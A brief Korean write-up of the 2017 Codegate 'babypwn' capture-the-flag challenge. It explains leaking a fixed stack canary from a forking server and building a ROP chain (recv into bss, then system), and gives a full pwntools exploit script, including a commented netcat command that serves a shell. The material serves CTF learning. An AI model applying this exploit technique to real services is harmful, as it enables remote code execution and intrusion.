2017 Codegate babypwn
Reverse Shell을 열어서 풀면 된다.
canary leak해주면 되는데 이 바이너리를 보면 fork되어 있는 것을 알 수 있다. 그래서 canary값은 고정이다.
nc 접속해서 ret 전까지 카나리 값 맞춰주면서 덮어주고 recv함수 이용해서 bss영역에 /bin/sh (리버스쉘) 넣은 다음에 system함수로 실행시키면 된다.
Canary Leak
bof -> rop
rop chain -> recv(4,bss,/bin/sh,0)
system(bss)
# -*-coding:utf-8-*-
from pwn import *
e = ELF('./babypwn')
p = remote('localhost',8181)
r = ROP(e)
cmd = '/bin/sh'
# cmd = nc -lvp localhost 1234 -e /bin/sh
# canary leak
p.sendlineafter('> ','1')
p.sendlineafter(': ','A'*40)
p.recv(41)
canary = u32('\x00'+p.recv(3))
log.info('Canary : ' + hex(canary)) # canary 주소는 고정 fork 사용해서
p.close()
# solve
p = remote('localhost',8181)
bss = e.bss()
p.sendlineafter('> ','1')
# dummy(52) + sfp(4) + ret
pay = 'A'*40
pay += p32(canary)
pay += 'A'*12
r.recv(4,bss,len(cmd)+2,0)
r.system(bss)
pay += r.chain()
p.sendafter(': ',pay)
p.recvuntil('> ')
p.sendline('3')
sleep(0.3)
p.sendline(cmd)
p.interactive()